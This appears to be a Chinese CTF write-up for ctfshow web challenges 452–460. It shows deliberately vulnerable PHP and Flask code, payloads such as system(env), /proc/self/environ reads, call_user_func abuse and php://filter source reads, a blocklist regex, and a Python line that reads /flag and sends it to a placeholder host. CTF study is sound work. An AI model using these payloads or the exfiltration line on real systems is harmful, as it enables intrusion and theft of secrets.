if(!preg_match('/\'|\"|[0-9]|\{|\[|\~|\^|phpinfo|\$/i', $ctfshow)){
    eval($ctfshow);
}

这里使用system函数,参数不使用引号,也能够识别。

/?ctfshow=system(env);

web453

web454

web455

web456

根据提示,存在任意文件读取。

file_get_contents($_POST['s'])

读取当前进程的环境变量。

s=/proc/self/environ

web457

<?php

highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
abstract class user{
    public  $username;
    public  $password;
    function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    abstract  public  function check();
}

class visitor extends user{
    public  function check(){
        return ($this->username!=='admin' && $this->password!=='admin888');
    }
}

class admin extends user{
    public  function check(){
        $u= call_user_func($this->password);
        return $u=='admin';
    }
}


$u=$_GET['u'];
$p=$_GET['p'];

if(isset($u)&&isset($p)){
    if((new visitor($u,$p))->check()){
        die('welcome visitor :'.$u);
    }
    if((new admin($u,$p))->check()){
        die('welcome admin :'.$u.' flag is :'.$flag);
    }
}

分析代码逻辑,可以使用call_user_func来调用任意函数,然后成功调用phpinfo后返回值为true,可以通过双等号的判断。

?u=admin&p=phpinfo

web458

<?php

highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
abstract class user{
    public  $username;
    public  $password;
    function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    abstract  public  function check();
}

class visitor extends user{
    public  function check(){
        return ($this->username!=='admin' && $this->password!=='admin888');
    }
}

class admin extends user{
    public  function check(){
        $u= call_user_func($this->password);
        return $u==='admin';
    }
}


$u=$_GET['u'];
$p=$_GET['p'];

if(isset($u)&&isset($p)){
    if((new visitor($u,$p))->check()){
        die('welcome visitor :'.$u);
    }
    if((new admin($u,$p))->check()){
        die('welcome admin :'.$u.' flag is :'.$flag);
    }
}

这里改为了三等号,考虑其他的php无参函数。

get_class (): 获取当前调用方法的类名; 
get_called_class():获取静态绑定后的类名;

刚好获得的类名为admin

?u=admin&p=get_class
?u=admin&p=get_called_class

web459

<?php

highlight_file(__FILE__);
error_reporting(0);
include('flag.php');


$u=$_GET['u'];
$p=$_GET['p'];

if(isset($u)&&isset($p)){
    copy($u, $p.'.php');
}

利用php伪协议转换编码,来读取flag.php

/?u=php://filter/read=convert.base64-encode/resource=flag.php&p=a

web460

from flask import Flask
from flask import request
import re
import sys 
from func_timeout import func_set_timeout
import time
import func_timeout
import random

sys.modules['os']=None
sys.modules['imp']=None
sys.modules['subprocess']=None
sys.modules['socket']=None
sys.modules['timeit']=None
sys.modules['platform']=None
sys.modules['sys']=None

app = Flask(__name__)
sys.modules['importlib']=None
del sys

@func_set_timeout(0.7)
def run(s):
    time.sleep(randmon.random())
    return eval(s)

def Q2B(uchar):
    inside_code = ord(uchar)
    if inside_code == 0x3000:
        inside_code = 0x0020
    else:
        inside_code -= 0xfee0
    if inside_code < 0x0020 or inside_code > 0x7e: 
        return uchar
    return chr(inside_code)

def stringQ2B(ustring):
    return "".join([Q2B(uchar) for uchar in ustring])


@app.route('/',methods=['POST', 'GET'])
def app_index():
    if request.method == 'POST':
        code = request.form['code']
        if code:
            code = stringQ2B(code)
            if '\\u' in code:
                return 'hacker?'
            if '\\x' in code:
                return 'hacker?'
            reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"|\+|[0-9]|request|len')
            if reg.search(code)==None:
                try:
                    s=run(code)
                    return s
                except func_timeout.exceptions.FunctionTimedOut:
                    return exec('1')
    return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=8080)

暂时不知道咋做。。。

s = 'import urllib.request;import ssl;f=open("/flag").read(100);context = ssl._create_unverified_context();url = "http://xxx?1="+f;request = urllib.request.Request(url);response = urllib.request.urlopen(url=request,context=context)'